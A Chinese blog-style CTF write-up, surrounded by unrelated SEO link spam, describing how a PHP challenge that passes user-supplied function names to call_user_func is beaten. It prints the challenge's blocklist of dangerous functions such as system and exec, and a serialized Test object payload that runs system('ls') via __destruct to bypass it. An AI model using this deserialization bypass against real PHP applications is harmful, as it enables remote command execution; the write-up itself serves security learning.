当前位置: 首页 > news >正文

设计网站公司的账务处理seo内部优化包括哪些内容

设计网站公司的账务处理,seo内部优化包括哪些内容,b2c商城系统开发,网站导航页面制作1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…

1.打开网站,吓我一跳

2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次

一开始去搜了这个,但是没什么用

3.使用bp抓包

会发现有两个参数,应该是用func来执行p

 4.修改func和p

file_get_contents: 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。

读取index.php

5.使用post传参,查看页面源代码

审计

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    //定义disable_fun这个数组,禁用了这些函数function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}   //定义了一个名为gettime的函数,它接受一个函数名func和参数p,并通过call_user_func函数来调用指定的函数。a 获取变量的类型,如果a是字符串,则将其返回,否则返回空字符串。
//gettype() 函数用于获取变量的类型class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);} //定义了一个名为Test的类,其中包含了一个变量$p表示日期格式,以及一个变量$func表示要执行的函数名。在类的析构函数__destruct中,首先检查$func是否为空。如果不为空,则调用gettime函数来执行指定的函数,并将结果输出。
//__destruct() 魔术方法 对象被销毁时触发}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];  //从$_REQUEST超全局变量中获取传入的函数名和参数if ($func != null) {$func = strtolower($func);  //如果传入的函数名不为空,则将其转换为小写if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}  //检查其是否在$disable_fun数组中。如果函数名不在禁用列表中,则调用gettime函数来执行指定的函数,并将结果输出。否则,代码将输出"Hacker..."并终止程序。}?>

https://www.cnblogs.com/fps2tao/p/7865423.html    call_user_func函数详解

6.使用反序列化

先看一下有什么文件

<?php
class Test
{var $p = "ls";var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

查看源代码,没有看到什么

查找含有flag的文件

find / -name flag*

 

 cat 这个文件

 

http://www.khdw.cn/news/44239.html

相关文章:

  • 个人又什么办法做企业网站可以商用的电视app永久软件
  • 三网合一网站远吗百度热搜榜今日头条排名
  • 做网站的开题报告百度竞价入口
  • 新闻发布稿成都网站seo报价
  • 网站建设 psd广州网页seo排名
  • 怎么查网站是用什么语言做的seo就业前景如何
  • 做服务器的网站都有哪些功能线上广告推广平台
  • 浙江建筑信息网查询seo排名优化工具
  • 青岛网站制作多少钱一个页面优化算法
  • 连接国外网站做端口映射搜外滴滴友链
  • ae模板下载网站营销策划与运营方案
  • 通过阿里云建设企业网站怎么做推广和宣传
  • 借个公司邮箱号福州seo外包公司
  • 公积金网站怎么做增员网站推广优化排名公司
  • 网站建设+荆州什么是seo什么是sem
  • 网站维护外包方案百度营销推广靠谱吗
  • 整站下载器 安卓版谷歌推广代理商
  • windows系统做网站企业网站推广可以选择哪些方法
  • 网站不备案备案本地建站软件有哪些
  • 公司做两个网站有影响吗谷歌搜索入口手机版
  • 南京电器网站建设淘宝关键词优化技巧
  • 新网站排名优化怎么做域名注册流程和费用
  • 贵州做网站怎么推广seo白帽优化
  • 用react做的网站上传百度百度一下一下
  • 男和男人怎么做那个视频网站重庆seo主管
  • 怎么形容网站做的很好网络服务提供者收集和使用个人信息应当符合的条件有
  • 嘉定网站设计童程童美少儿编程怎样收费
  • wordpress 标题天津做优化好的公司
  • 建设电商网站所需硬件seo网站编辑是做什么的
  • dw创建网站导航栏菜单怎么做百度模拟点击软件判刑了